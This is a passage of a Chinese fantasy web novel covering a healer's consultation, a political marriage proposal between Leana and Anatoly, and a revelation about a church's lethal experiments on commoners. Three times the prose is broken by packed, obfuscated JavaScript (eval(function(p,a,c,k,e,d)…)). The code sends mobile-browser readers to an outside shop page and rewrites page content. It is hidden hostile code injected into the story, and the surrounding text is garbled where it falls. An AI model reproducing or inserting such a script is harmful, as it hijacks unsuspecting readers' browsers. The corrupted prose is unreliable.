“但除此以外,您身上的很多伤口都有魔法疗愈的痕迹,您是什么时候开始频繁接受这种治疗的?” “我记得不是很清楚,应该在四年前吧?” 马克西姆在心中倒吸一口凉气,如果是四年前就已经依赖上这种治疗方式,副作用想必积弊已深。 “这种疗愈虽然短期内可以应急,但它依靠的是魔力强行促使伤口愈合,就像用外力强行把两块肉拧在一块儿,看上去伤口已经闭合,但内里完全康复需要更久的时间,别人的魔力和身体会有排斥反应,一般会长期处于疼痛之中。” 马克西姆思索道,不禁为莱安娜捏了一把汗。 “您几乎没有自然恢复的伤口……” 他支支吾吾地开口,不忘瞥了一眼莱安娜,见她神色如常才鼓起勇气继续说了下去。 “您为什么会有这么频繁的疗愈经历?副作用发作和结束的时间固定吗?最疼的时间一般在什么时候?” 他问了一连串问题,但还好对方似乎不介意他问得有些太多了。 “副作用在我使用太多魔力的时候可能会出现,不过不影响魔力的正常使用。” 马克西姆听着下意识捏紧了手中的笔。 “看来魔力对身体的侵蚀程度很深。” 马克西姆心想。 “这种副作用目前没有根治的办法,我可以给您开止痛药,之后您不能再进行魔法疗愈了,哪怕是在泰西防线,除非万不得已,我们都不会给战士们使用这种魔法。” “不能再用魔法疗愈了吗?”她有些苦恼地皱起眉来,似乎还想和医生讨价还价。 “我把话说得直白些,您的身体快到极限了,如果再使用会相当危险。” 随后他意识到自己似乎把话说得太重了,连忙找补:“但您也不要过于担心,您可以使用新式的治疗术,那个没有副作用,我听说那是贝拉主教半年前开发出的术式,不会有疼痛,也不会有后遗症,唯一的缺陷就是魔力消耗比较多。” “好的,感谢您的建议,我会考虑的。” 她冲马克西姆微微颔首,礼貌地道谢。 两人都心知肚明,这是一次失败的会诊,马克西姆的建议非常专业,但莱安娜根本不可能执行,眼下这个时期,她怎么可能有机会静养,不使用魔法更是天方夜谭。 就在莱安娜以为会诊已经结束的时候,马克西姆忽然开口,严肃的语气像是下定了好大的决心。 “最后还有一件事,您的身体状态……非常奇怪。” 他为难地抓了抓自己的头发。 “心脏是魔法师的核心,正常情况下心跳频率和魔力波动是协调的,但您的心跳频率和魔力波动并不协调,这很不对劲,这些问题您之前在圣都的身体检查中难道从来没有说明过吗?” “我没想到您可以看出来这么细微的问题,难怪阿纳托利南下要带着您,您真的是位优秀的医师。” 她打断了马克西姆。虽然她仍然带着微笑,但这份夸奖让马克西姆后背发凉,这说明莱安娜之所以同意他检查,是原以为他不会发现这些东西的。 “圣都阿萨特主教的检查已经迭代使用魔力探查了,如果只关注魔力流动和生命体征,我是很健康的。” “我不认同这种治疗观念,他们这和检测工具使用寿命有什么两样。” 他脱口而出,随后意识到自己这话说得不太妥当,有些担忧地瞥了莱安娜一眼。 “我也觉得他们有时太不重视患者的感受。” 见她笑着将这件事翻篇,马克西姆松了口气。 “虽说魔力流动没有问题,但您实际的身体已经需要……” “没关系的,马克西姆医师,就这样吧,谢谢您。” 她仍带着那抹温和的笑容,马克西姆知道,这个话题已经结束了。 既然莱安娜常年伴随疗愈后遗症,怎么会对自己的身体状态一无所知呢? 想到此处他便不再做无谓的劝告。 “我会给您开止痛的特效药的,加了特制草药,或许比您之前服用的常规止痛药更加有效。 “好的,劳您费心了。” 她礼貌地起身。 “但我还要问您一件事。” 她朝马克西姆走近了一步。 “什么事?” “您是阿纳托利的医师,之前在帮我缝合的时候,有关我其他伤口的情况您告知过阿纳托利吗?” “我告知过长官,怎么了莱安娜主教大人?” “不,没什么。” 莱安娜似乎明白了阿纳托利为什么在听到自己要提前独自离开时反应这么大了,不禁扶额苦笑。 “今天很感谢您,马克西姆医师!” 莱安娜朝他行礼致谢,马克西姆有些不自在,他尴尬地摆了摆手。 “不用不用这样……莱安娜主教……那我那我先走了。” 他如风一般扛起他的设备工具,快速离开。 刚下楼梯,就碰到了蹲守在此的阿纳托利。 “怎么样?” “腰部和肩膀的伤口恢复得很好,没有感染迹象。” “那魔力疗愈的后遗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿纳托利此时已经做好了一切准备工作,他已经下达了指令,娜塔丽娅将会在准备工作结束后和他们分开,护送莱安娜前往北方。 鉴于泰西防线被伊莉雅塞了眼线,为了避免麻烦,莱安娜将会作为商会聘用的研究员,以调查北方荒地新路线为由留在泰西防线。 从萝丝那里求一个商会的证明并不难,而且八音盒商会原本就和伊莉雅合作深厚,这几年也在探索荒地的安全路线,这样的身份不会让人怀疑,技术领域的工作也不会引起伊莉雅的警惕。 而且路线的探索工作莱安娜一定能胜任,这样的话她至少可以安全地躲个一年半载。 至于恢复主教身份,还有其他事情,只能走一步看一步了,毕竟阿纳托利都不知道他自己将会在圣都收获什么惊喜。 阿纳托利在桌前坐了很久,他正在确认是否还有遗漏的事情,同时也在思考到了圣都后的打算。此时的时光已进黄昏,窗外橘黄色的云朵和逐渐落下的红色正昭示着留给他的时间并不多了。 他们会在夜色来临的时候出发,准备出发的工作轮到了娜塔丽娅的头上,她既要在检查前往圣都的车队,还要做好送莱安娜和奥菲莉亚回泰西防线的准备,现在已经快忙成了陀螺。 就在阿纳托利准备去搭把手的时候,却听见楼上传来了脚步声。 他抬头,对上了莱安娜的目光。 她的脸色比起在布鲁城的时候好了很多。 “我们快要出发去圣都了,你……” “我和你们一起去。” 她平静地直视着阿纳托利的眼睛。 阿纳托利皱起了眉头正准备反驳她,莱安娜继续说道。 “先别急着反对,我已经想到办法了。” 44. 求婚 莱安娜走下了楼梯,坐到了阿纳托利对面,此时的大厅里只有他们两个人。 “我已经想到留在圣都,并且不会有人身安全的办法了。按照约定我不必前往泰西防线。” 她轻声道,观察着阿纳托利的表情,在那张经常冷着的面孔上面,此时浮现出了不可置信的表情。 “但是这个方法需要你的帮助。” 莱安娜抬眸看着他。 “是什么?” 他很快冷静了下来,但是那双灰色的眼睛里全是怀疑。 “你不可能在圣都瞒过维斯特利亚的。” 阿纳托利担忧地看着坐在面前的人。 莱安娜沉默了半晌,深吸了一口气。 “我们结婚吧。” 橘黄色的余晖透过窗户落在了室内,将二人包裹。此时正因为准备工作,门外极其喧闹。但阿纳托利此刻什么都听不见了。 他的世界突然变得安静下来,大脑几乎一片空白,只能听见自己变得清晰的心跳声。 莱安娜的那句话很短,但他消化却耗费了很多功夫,怔住了好一会儿,大脑似乎才终于咀嚼明白了这条信息,恢复了神智。 “你刚刚是不是说……” 他真的以为是自己的幻听。 “你没听错。” 对方笑着朝他点头。 “我知道你一时有些难以理解,甚至觉得我疯了,但这确实是一个办法。” 她轻声解释。 “设局的人既然安排了这出假戏真做,我也可以将计就计。按照教廷公布的信息,莱安娜主教已经死亡,既然此时不可冒然自证,为什么不顺势而为呢?” 她微笑着看着阿纳托利,阿纳托利虽说刚才因为惊讶停止了思考,但缓过来后很快理解了她的思路。 “我现在勉强可以算是北地的人质,要维系南北目前的缓和,教会暂时不会明着对我下手,我的亲属同样也会被考虑在这个范围内。” “没错,只要和您结婚,碍于当下的局面,哪怕我走到那位主谋面前,他知道是我本人,也暂时不能动手。” “甚至他还没有办法公开怀疑你的真实身份,因为你的死讯就是他们一手捏造,公开宣布的。” “是的,这样一来,借你之名,我在圣都可以暂时安全地自由行动,之后再想办法重新恢复主教的身份。” 阿纳托利已经理解了她的计划,他靠在椅背上,深深地叹了口气。 莱安娜以为他是难以接受,便说出了自己的筹码。 “我知道这个提议短期对你不利,这样行事会增加你的风险,而且我恢复身份后大家也会默认你已经参与到教皇继任的事中。因此在回报上,我不会有所亏欠。在我恢复身份继任教皇之后,会竭尽所能改善你的处境。” “亏欠”、“回报”这些字眼在阿纳托利听来是那样刺耳,他心沉了又沉,没有说话。 但这份沉默似乎被莱安娜解读为了对筹码的不满,她便继续给出了更加详细的解释。 “我继任之后,你可以继续留在南方任职,我会保障你的安全,也可以选择回到北方,继续驻守泰西防线也好,将伊莉雅取而代之也好,我都可以支持你。毕竟我厌恶战争,您如果真能成为北方的代言人,我是相当期待的。” “条件倒是开得相当丰厚啊。” 阿纳托利终于抬头正视她,他语气平淡,仿佛对莱安娜开出的筹码仍不满意。 “一旦这样做了,就是对伊莉雅指令的阳奉阴违,你身份恢复的那天,就是伊莉雅和我离心的时候。” “你们现在感情很好吗?” 莱安娜听到此处,竟然冷笑一声。 “我猜得不错的话,你们的兄妹情谊早在她继位领主的时候就有了裂缝,你需要她身份的正统性,她需要你的军队和战功,你们虽然相互依靠却也相互忌惮,在平定叛乱后,她可是连一块封地都没有给你,你虽然有弗洛斯特的姓氏,但没有封地意味着你被排除到他们阶层以外。” 她环抱双手,打量着阿纳托利。 “我认识的阿纳托利不会坐以待毙,否则八年前就已经死在南方了,你曾作为弃子为自己搏出一线生机,我不相信你现在会心甘情愿地当伊莉雅的提线木偶。” 她对自己的判断似乎胸有成竹。 “你既然这么了解我,在马车上的时候为什么还要反复试探呢?最开始试探我到了圣都会不会划清界限的不是你自己吗?” 阿纳托利反问道,他毫不掩饰自己的不满。 “此一时,彼一时。现在处境有了变化,自然应该坦诚以待。” 她放在桌上的手不自觉地握紧了。 “坦诚以待?” 他皱起了眉。 “当然。” “那你是否应该更坦诚一些?” 阿纳托利语气有些不满。 “你想知道什么?” 莱安娜有些没有底气,他不确定阿纳托利是否会问有关布鲁城的事情,有些秘密她原本准备带进坟墓的。 “我们彼此隐瞒的事情都不少,要求你现在全部交底也不现实,但是至少你应该让我知道你谋划这一切的目的。莱安娜,你到底想要做什么?” “我说过了,成为教皇。” “我记得你过去初衷并非如此,你何时对权位如此执着?” “你也说了,那是过去。” 她语气间带了几分疲惫,说罢一声轻叹,宛如对自己过去时光一丝微不足道的缅怀。 “已经过去八年了,阿纳托利,该向前看了。我现在只有一个目的,那就是复仇。” 她给出了答案,阿纳托利陷入了沉默,莱安娜墨绿的眼睛宛若深池,平静的表面下不知道是否隐藏着怎样的波动和起伏。 这样的眼神阿纳托利甚至看不出她的悲喜,只觉得沉重。 “我听说过那年艾夫忒宁家族的变故,还有你兄长文森特的蹊跷死亡,以及家人先后遇害……你是想为他们复仇吗?” 他正注视着莱安娜的眼睛,因而没有注意到她桌下的手已经攥紧了裙摆。 “兄长他离开得突然,一时间变故太多。” 她将头低了下去,回避了阿纳托利的眼神。 阿纳托利太在意对方的心情,以至于忽视了刚才莱安娜其实并没有回应他的疑问。 他看着对方如此悲伤的样子,担心、懊悔、歉疚复杂的心绪占据了他的内心。 那时他刚取得胜利,伊莉雅刚刚将骑士团全权交给了他,就在大家以为叛乱已经平息的时候,新的叛徒就在白桦河发起了偷袭,他在前线待了整整三个月,回到斯诺兰德时才听说了艾夫忒宁家的变故,但一切都已经尘埃落地,无法挽回,自己连帮助莱安娜的机会都没有。 叛乱要是能够早一点结束,自己是不是就有可能赶到南方,说不定莱安娜继任艾夫忒宁家主的时候就不用这么艰难。 “你那时候应该很辛苦。” 阿纳托利低声说。 从被收养算到文森特离世,莱安娜虽然被艾夫忒宁家收养了八年,但终究和文森特没有血缘关系,要能稳住家族,控制家变免不了一番死斗。 “我当时在北方,消息传来得太迟了,我如果……” “世界上哪有这么多如果,而且哪怕你在南方,就能改变什么吗?” 莱安娜打断了他的话,徒留一个无可奈何的笑容。 “没有人有义务救我,更何况你那时正在帮伊莉雅处理叛乱的事情,本就分身乏术,你自己不也差点交代在白桦河战役里了吗?” “你知道?” 阿纳托利有些惊讶。 “你的死讯当时传遍南境,不过还好,只是谣言,你要是真的死了……” “你当时担心我吗?” 这句话脱口而出,然后阿纳托利就有点后悔了。 “当然,你是我为数不多的朋友。” 莱安娜坦然道。 阿纳托利眉头一皱,这不是他想听的。 客套的称呼、一路上的试探、身处困境也不愿意向自己求助、还有四年前那封拒绝求婚的信,他心里越来越堵。 “朋友?你为什么一直对我的感情这么敷衍呢?” 莱安娜对突然的质问一脸茫然。 “我什么时候对你敷衍?什么感情?” 她觉得对方这话听上去很是奇怪,似乎自己干了什么对不起他的事情一样。 看她装傻充愣的样子,阿纳托利更委屈了。 “豁出去了,今天就要问个明白!” 他心一横。 “四年前你写信拒绝了我,为什么现在还可以装作什么都不知道?” “什么信?” 莱安娜还是一脸茫然。 “你真不知道?” 阿纳托利细细观察她的表情,像是真的不知情。 “你莫名其妙地说什么我敷衍你的感情?又没头没脑地说什么信,我怎么知道?” 话一说出口,莱安娜脑袋一转就察觉出不对劲了。 阿纳托利此时也反应了过来,及时补救。 “就是……四年前,我当时取得了初步胜利,以为北方已经安定了,想要邀请你来北境旅行……” “我从未收到过你的信。” 莱安娜摇了摇头。 “而且在我成为神官后就没有住在艾夫忒宁的宅邸了……谁截下了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人都心照不宣地恨上了那个动了信的人。 “咳咳,先不说信件的事情了,关于你的计划的动机我已经明白了,但是你准备怎么做呢?” “我会先去找维克多寻求合作,毕竟他需要洗清嫌疑。然后从裴迪神官那里下手查清教皇除掉我的原因,搜集教皇的罪证,剥夺教皇的权柄,最后在女神的认证下恢复身份。” “你想让教皇成为罪人?你怎么知道女神一定会支持你。” “当然,你当我为什么能够这么快成为主教,女神有需要我的地方。” 这话的内容听上去颇有依仗,但是她的语气却有种……不屑?阿纳托利有些不明白。 “我明白你的想法了。” 阿纳托利微微点头,但并没有对她的计划给予评价。 他其实从听闻莱安娜的动机是复仇的时候,就很不安心,一个人的意志真的能够改变整个局势吗?被家族仇恨、个人仇恨裹挟着争夺而来的东西,到头来真的会是莱安娜想要的吗? 他沉默着,虽然对其动机仍然存疑,但自己有什么资格否定莱安娜呢? “我知道你在担心什么,阿纳托利。你在意的其实还是眼下的和平能否延续,魔兽潮能否终止。我向你保证,我一定会……” “不,我并不担心这个问题,这是你作为主教一直以来在践行的事,我相信你的承诺。我只是担心你,我知道你复仇的决心,但抛开仇恨,成为教皇真的是你想要的吗?” “怎么可能抛得开呢?阿纳托利。” 她摇了摇头,给出了自己的答案。 “我知道了。” 阿纳托利知道她心意已决。 “但还有个小问题,我要怎么和伊莉雅公爵解释……我在南下的路上就准备结婚了?” “你这样假设,我是不是可以认为你已经接受了我的求婚呢?” 莱安娜打断了他,这人还气定神闲地笑着。 阿纳托利把脸别了过去,误以为拒绝了自己求婚的心上人,竟然在时隔四年后向自己求婚,他心情复杂到想直接从窗户跳出去。 但头脑中尚存的理智仍然把他按在桌前,仍是一副面不改色的样子。 “咳咳…这么重大的决定,我还是要再考虑下。” 他故作严肃地说。 “理解,不过这段名义上的婚姻在两年以内就会撤销,对你的影响有限。” 她解释后却发现对方的脸色并不好看。 “难道两年的时间太长了?” 她暗自想,然后补充说。 “当然,这只是一个提议,你当然可以选择不接受,我也是考虑到你没有心上人,才会如此大胆地提议,如果冒犯……” “不冒犯,只是觉得很意外。” 阿纳托利果决地打断了她。 “所以你现在答应了吗?阿纳托利?”她撑着下巴期待地盯着对方。 “算是吧。” “那合作愉快,亲爱的。” 45. 布鲁城的真相 阿纳托利将自己和莱安娜合作的计划告知其他同伴时,大家的表情都相当精彩。 无一例外地怀疑起奥菲利亚是不是对阿纳托利偷偷用了幻术,质疑他决定的声音此起彼伏。 但在详细解释了莱安娜开出的条件以及他们自己的处境后,大家终于冷静了下来。 分析之后,这群选择追随阿纳托利的军人认清了形势,他们其实是被北地放弃的人。 维斯特利亚为了魔兽潮以及所谓的平衡游戏,急需一把刀。伊莉雅为了缓和局势,争取养精蓄锐的时间,答应了维斯特利亚的要求,把阿纳托利交了出来。其他选择跟着阿纳托利的人,自然也是相同的命运。 不开战,他们是来接南方魔兽潮烂摊子的背锅侠,一旦开战,谁知道会不会被拿去祭旗。 而莱安娜成了一个变数。 如果她能顺利成为教皇,他们这些支持者的处境将会瞬间逆转,从如履薄冰到平步青云。说不定阿纳托利会成为帝国的下一个卡梅利亚侯爵,而他们其他人也能在南境拥有一席之地,而且有教皇支持,重返北地也并非什么难事。 如果失败了呢?他们会有什么损失吗? 每个人仔细权衡却发现,再糟糕也不会比现在坏太多了。 这场赌局一旦胜利,报酬丰厚。如果不幸输了,却也没有太多损失,他们现在本就一无所有。 看清了形势,自然也明白了阿纳托利此举的用意,不再质疑。 他们的时间本就紧张,在确认合作无异议后便兵分两路立即启程。 娜塔莉娅带着奥菲利亚折返回泰西防线,而剩下的人继续前往圣都,在连着赶了两天的路后,他们在夜晚抵达了都城外围的郊外,准备白天再进城。 列昂尼德和马克西姆很快生起了一小堆火,烤起了土豆,招呼露比和斯捷潘过去。烤土豆配上他们随身带的秘制肉干味道竟然不算太糟糕。 但欧文并没有融入他们的热闹中,而是目光一直锁定着莱安娜休息的那辆马车。 莱安娜服用了马克西姆的药剂,几乎昏睡了一路,因此欧文甚至没有询问她布鲁城真相的机会。但今天他运气不错,那位被病痛折磨许久的人在今晚清醒了过来,阿纳托利扶着她走下了马车。 “莱安娜主教……” “你现在应该叫我阿琳娜。”莱安娜笑着看向他,继续说:“你是想知道布鲁城的事对吧?” 欧文点了点头。 莱安娜看着他叹了口气,眼神似乎有些惋惜,随后看向阿纳托利, “我们需要换个地方。” “是需要我回避吗?”阿纳托利问道。 “不必,我们是合作者了,不是吗?” 说罢,三人走向马车后方的空地,直到篝火的暖光变成一个金色的小点,马车像是火柴盒般的大小,走在前面的莱安娜这才停下脚步。 “我可以告诉你真相,但这件事情非常凶险,你得想清楚,是否真的要追查下去。” 欧文把头低了下去,耳边明明是晚风吹过树叶的沙沙声,周围的空气中充斥着泥土和腐败植物的气味儿,他却想起了兔子餐厅里旧相识的吵嚷声、碰杯声,像是闻到了格蕾丝烤的蓝莓派、炖的浓汤在厨房里沸腾翻滚,发出咕噜咕噜的声音。 “为什么是约翰?为什么是我们?” 他再次抬起头,盯着莱安娜。 “我想清楚了,我以女神的名义起誓……” “不是女神的名义发誓,我要你以约翰、格蕾丝的灵魂起誓。” 莱安娜神色愈发严肃。 “好……” 等欧文完成了简单的起誓后,莱安娜才开口。 “约翰的死亡并非魔兽袭击,而是人为处决,教皇陛下亲自下令,他和其他二十一个人都在诛杀令的名单之上……我负责执行。” “教皇为什么要处决约翰他们?约翰他们都是本分的普通人!” 他不可置信地盯着莱安娜。 “你在骗我对不对?你在骗我!他们的死亡一定还有别的原因,怎么可能是教廷的决定,他们可是守卫了屏障十余年啊!” 他的声音都有些颤抖。 “你自己看。” 莱安娜打开了出发去布鲁城时随身携带的魔法影像,一张教皇签署的处决令赫然出现在欧文面前。上面约翰的名字赫然在列。 “但是……为什么?处决令上说他们为非作歹,在魔兽潮爆发时制造混乱。约翰他们一直坚守责任,从未有过这些罪行。” “约翰死亡的原因我已经如实告知,如果只是涉及这个程度,不会对你有任何影响,你之后是想要回布鲁城也好,还是为阿纳托利效力也好,教会都不会对你怎么样。但是至于教皇处决这些人的动机,你一旦知道了可就再也没有回头的余地了,哪怕是这样你也想选择帮约翰他们复仇吗?” “我可以支付任何代价……” 他的眼神是那样执拗,莱安娜知道他心意已决。 “这一切起源于教廷主导的名为“生命升级”的项目,换个更通俗的说法,它曾叫“魔法师制造计划。” 一旁的阿纳托利忍不住睁大了眼睛。 这不是伊莉雅拜托他着手调查的那个计划吗! 这个计划的负责人是莱安娜去世的兄长文森特,莱安娜有所耳闻倒也不是没有可能。但如果这个项目是教会主导的,文森特为何会与伊莉雅做交易呢? 正在阿纳托利困惑时,莱安娜继续说: “魔法师制造计划是指通过实验,寻找赋予普通人和地脉联系的方法,从而让普通人成为魔法师。目前实验已知的有三种方式,注射试剂、脏器移植还有胚胎培养……” “你说的这些这和约翰有什么关系?” 欧文有些不理解。 “实验需要在人身上进行,他们在实验最初阶段以研发过敏药物为理由,招募过所谓的志愿者。” “……” 欧文不说话了,他记得那会儿正是缺钱的时候,约翰还收养了格蕾丝这个孩子,守卫的那点微薄薪水少得可怜。正在约翰恨不得一个铜币掰成两个花的时,教廷公示了招募志愿者的公告。参加过敏药物的实验,报酬却有整整一个金币。 约翰当时注射结束后高烧了快一周,但康复后还是眉飞色舞地向出差的欧文炫耀,自己已经解决了家徒四壁的问题,暂时不用靠老朋友救济了…… “约翰在年轻时曾经参与过一个药物抗性的志愿活动,也就是说,那时候他注射的其实是实验试剂。” 他低声说道,思绪逐渐飘远,但阿纳托利的声音把他拉回了现实。 “你刚说实验有试剂注射、器官移植、胚胎培育三种方式,也就是说他们的研究还没有准确的结论,试剂注射的成功率无法保证?” 阿纳托利问道。 “是的,试剂注射是成功率最低的一种方式,据说超过九成的实验都失败了。”莱安娜点了点头。 “试剂是什么东西?失败的后果是什么?” 阿纳托利神色冷峻。 “试剂是用魔兽的血液提炼的,希望通过增加试验体体内的魔法因子来加强与地脉的联系,从而能够产生魔力波动。但是试剂几乎都失败了,根据追踪实验,绝大部分人不仅没法成为魔法师,还会因为试剂中魔兽因子数量的增加,最终会异化为魔兽,潜伏期是八年到十年。” 莱安娜说罢,欧文显然受了相当大的冲击,他咬着牙问: “也就是说,约翰当年的一次志愿活动,被注射了实验试剂,他从注射那个时候,就几乎已经没有活路了。” 他一边说着一边望着莱安娜,对方缓慢地点了一下头。 欧文下意识后退了一步。 “他们欺骗我们做实验的耗材!还计算着时间来销毁废品是吗!” 他咬牙切齿,随后看向了莱安娜,一个箭步冲到了她面前。 “你既然知道这一切,你知道约翰和其他实验体是无辜的,为什么不救救他们,你不是主教吗?你不是高阶法师吗?为什么不救约翰他们!” 莱安娜的嘴唇颤抖,似乎想要说什么,但终究是一言未发,她这幅看上去无动于衷的样子看得欧文更加火大。 “你是他们死刑的执行者,你知道所有的事情!你知道他们是无辜的啊!为什么还要来执行教皇的命令!” 欧文的眼眶已经红了起来,泪水已经在打转了。 “你不过也是助纣为虐的脍子手!你和那些高高在上的贵族一样,不会有成为实验体耗材的风险,就心安理得地袖手旁观,教廷的走狗!” 没等他说完,阿纳托利挡在了莱安娜前面。 “冷静点!欧文。” 但欧文丝毫没有要克制的意思。 阿纳托利见状,做好了控制住他的准备,防止他在情绪失控下有什么过激举动。 “你算什么主教,你是杀死约翰的帮凶!道貌岸然的伪君子……你只会袖手旁观!和那些做实验,草菅人命的人也没什么区别!” 莱安娜眼神一变,像是突然升起一团火。 “给我适可而止!” 她吼道,这声怒吼之后,世界静了下来,草堆里虫子细细簌簌的声音再次变得清晰可闻。 “阿纳托利,让开,别挡着他。” “但是……” “我倒要看下这位义愤填膺的勇士今天要怎么处置我。” 阿纳托利松开了手,欧文停在了原地,瞪着莱安娜。 莱安娜毫无畏惧地和他对视。 “我问你,是我要杀死约翰吗?是我主导的这个缺德实验吗?是我主动申请来布鲁城执行刑罚吗?这些问题用你的脑子好好想一想!挚友遇害你的愤怒我可以理解,你恨我很正常,但麻烦你的火别忘了烧向更该烧的人!” 欧文没有说话,莱安娜继续补充道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046865|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你的朋友约翰从注射试剂的时候就已经没救了!不是我不想救,是我救不了。至于你问我为何知道真相还要来行刑,这些受害者固然无辜,但一旦变成魔兽,布鲁城其他居民的安全如何保证?而且,我就算拒绝了这个任务,你觉得没有其他主教来完成吗?你以为其他主教神官会怎么执行这个任务?还是说你有什么绝妙的办法可以改变这个结果!” 莱安娜连着反问了好几个问题,她能看出欧文眼中的怒火在减少,最后只剩下了悲伤和不甘。 他很清楚莱安娜不是罪魁祸首,但是他又能怎么办?他的愤怒该向何处倾泻?倾泻向一个具体的执行者似乎比针对一个庞大的组织要简单太多。 他该责怪谁?当时不少人轻率地去做了实验,但那是因为不少人生活窘迫?难道穷也是一种罪过吗?自己正好在不在布鲁城,为什么每次约翰需要自己的时候,自己都不在他的身边?为什么教会要如此草菅人命?为什么这项任务上这么多人无一例外地选择了沉默? 他太阳穴突突地在跳,怒火在胸腔里灼烧,他咬着牙终是没有说一句话,转身走向林子深处。 阿纳托利似乎想上去再劝劝他,刚走一步,就被莱安娜扯住了衣袖。 “让他自己想一会儿。” 她摇了摇头,眼神说不上是疲惫更多还是悲伤更多。 阿纳托利迅速感知到了她情绪的变化。 “欧文他有些冲动,这件事他不该冲你发火,你……” “我受委屈了?你不会想说这种鬼话吧?” 莱安娜似乎并没有被他这有些拘谨的安慰打动。 “不必这么着急为他打圆场,我自然理解他为好友寻找一个真相的心情,否则我大可不必告诉他实情,随便编个理由就好,不是吗?” 阿纳托利知道莱安娜说这话发自内心。 “他要怨我就怨吧,我确实参加了执行,这无可辩驳,我也算罪人。” 莱安娜的语气有些破罐子破摔,她真的有些累了。 “不。” 阿纳托利说得斩钉截铁,莱安娜有些惊讶。 “你有些事情没有告诉他……” “关于真相,该说的不该说的我都说了,我没有隐瞒……” “那关于你自己呢?” 阿纳托利摇了摇头。 “你只说了你是行刑人,你亲自动手杀了约翰他们,但你为他们做的其他事情却是只字不提。” 他叹了口气。 “按照我对教会手段的了解,他们不会为了防止百姓被伤害,提前派出神使团,我猜他们本来的计划应该是等这些居民异化成魔兽,让当地深受魔兽之苦后再出手清理,以此来增加教会名望。近年来南方的灾情多以散落的村庄被毁,这样的安排和灾情能对得上。” 阿纳托利猜测教皇对莱安娜的期待并不是执行死刑,而是让她在一旁等待居民成为魔兽,再扮演救人民于水火的英雄。 “至于处刑过程,你应该竭尽全力让那些人走得体面了,奥菲莉亚对你来说是这么重要的人,你竟然会带她去魔兽潮前线,一定有需要她幻术的地方。我猜你是想让他们离开的时候不至于太痛苦吧,如果要经历身体的异变、目睹自己变成怪物后再被杀死,那太残忍了。” 他一边分析着,一边观察着对方的脸色,但很可惜莱安娜此时已经把头别了过去。 “还有津贴,他们可是每人都被授予了二级荣誉,家人可以领到有足够的津贴,这也是你为他们争取到的。主教大人,我的推断应该没错吧?” “是对是错,很重要吗阿纳托利?” 她终于把脸转了过来。 “其他的细节没必要解释,我不需要他把我当成什么好人。他觉得我是教会的鹰犬也好,没有同情心只知道执行命令的杀人机器也罢……但我没法忍受他把我和那群做实验的人混为一谈。至少,不要把我和那群做实验的败类扯上关系。” “你总是在隐瞒,似乎不太想让别人太了解你,为什么?” “越了解,联系越多,离别的时候只会失望不是吗?” 她无奈地笑了笑。 “别想劝我,阿纳托利,我不会改的。” “我没有劝你改,想隐瞒就隐瞒吧,反正我会猜出来的,不想解释也没关系,你如果闭口不言,就让我帮你澄清。” 莱安娜微微睁大了眼睛。 “干嘛露出这种表情?我又不是第一次站在你这边,而且我们现在可是一条船上的人。” 阿纳托利有些不好意思地笑了笑。 “等我一会儿,我先去给欧文说说,你先回去烤烤火吧。” 他说罢,莱安娜并没有阻止他的意思。 “好的,她同意了。” 阿纳托利确认了对方的默许,朝欧文消失的地方走去。 等他离开后,莱安娜才摸了摸有些发酸的鼻头,长长地松了口气,闭上了眼睛。 46. 布鲁城的真相 回到营地的莱安娜坐在火堆前,看着火苗在夜色中跳跃,像是整个世界都融化在这团橘黄色里,连冰冷的双手也暖和起来,但脑中的回忆却让她下意识地打了个寒战。 她旁边的露比困得哈欠连连,起身回车里先休息了,不一会儿对面的马克西姆伸了个懒腰,慢悠悠地也走了,只剩下守夜的列昂尼德和斯捷潘。 时间流逝得格外缓慢,从月亮的轨迹可以判断出,距离阿纳托利离开不到半个钟头,但像是过了很久。 “不知道欧文和阿纳托利谈得怎么样?” 她正想着,远处愈发清晰的脚步声立刻吸引了她的注意。 欧文没有和阿纳托利一起回来,但阿纳托利脸上带着不太明显的笑意。 莱安娜觉得也许交谈的结果不算糟糕。 阿纳托利径直坐到了她旁边,然后眼神示意列昂尼德和斯捷潘可以休息。 斯捷潘二人明白阿纳托利或许有要事和莱安娜商量,也快步回了马车。 只剩两人的时候,阿纳托利才开口: “我已经告诉了欧文全部内情。” “嗯。”莱安娜点了点头,下意识握紧了手。 “欧文他知道你已经尽所能地减轻了约翰他们的痛苦了。他知道罪魁祸首不是你,也很抱歉在之前朝你发了火……” 阿纳托利顿了顿。 “但是毕竟是你亲手执行的死刑。” “是的,我不否认。” “欧文他知道你不是幕后黑手,但没法当作什么都没发生,他暂时不知道应该如何面对你。” 阿纳托利顿了顿。 “不过你有句话他很认同,火应该烧向真正的罪魁祸首。他准备去各个领地调查当年的药物实验。” 他抬眼仔细观察着莱安娜的反应。 哪怕控制得很好,她眼底还是流露出一丝惊讶,随后暗淡了下去。 “这不是他能应付的事情。” 她摇了摇头,有些苦恼,但告知风险后没有再说其他否定的话。 “但有的事并非是权衡了能应付才去做的。”阿纳托利轻声说道。 “欧文已经下定了决心,明天就会出发,他希望一切水落石出的时候,你能够不受教廷命令的裹挟,做你真正想做的事,和他一起帮约翰他们讨回一个公道,如果他能活到那时候,他会向你致谢,补上布鲁城的这次。” “我明白了。”莱安娜点了点头,随后试探道:“我明天能去送送他吗?” “当然,我知道你会想当面告别的,帮你问过欧文了,他说可以。”阿纳托利转过头认真地看着莱安娜。 “但还有个问题,调查还需要你的帮助,毕竟我们对药物试验一无所知。” 莱安娜明白这是要求她共享情报的意思,思考了一会儿后才开口: 